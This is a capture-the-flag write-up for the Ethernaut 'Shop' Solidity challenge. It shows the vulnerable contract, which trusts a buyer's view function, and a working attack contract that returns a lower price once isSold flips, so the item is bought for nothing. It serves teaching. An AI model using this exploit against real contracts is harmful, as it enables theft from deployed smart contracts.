Page cover image

Shop

view functions

Description

Сan you get the item from the shop for less than the price asked?

Things that might help:

  • Shop expects to be used from a Buyer

  • Understanding restrictions of view functions

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

This challenge is similar to "Elevator", but with a little tweak. In "Elevator", we distinguish 1st and 2nd call by defining a counter state variable. In this challenge, we are in a restricted environment (like a sandbox) because price() is defined as a view function. In short, we can only read but not write on state variables.

This is not a problem. Note that the isSold state variable flips from false to true, and it is just like the counter we defined in "Elevator". Since isSold is public, we can read its content through the getter isSold() that is automatically generated by the Solidity compiler.

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './Shop.sol';

contract ShopAttack {
	Shop public shop;

	constructor(Shop _shop) {
	    shop = _shop;
	}

	function buy() public {
	    shop.buy();
	}

	function price() public view returns(uint) {
	    return shop.isSold() ? 0 : 100;
	}
}

Deploy the exploit contract and feed in the address of the target contract:

Call the buy function.

Summary

Contracts can manipulate data seen by other contracts in any way they want.

It's unsafe to change the state based on external and untrusted contracts logic.

Last updated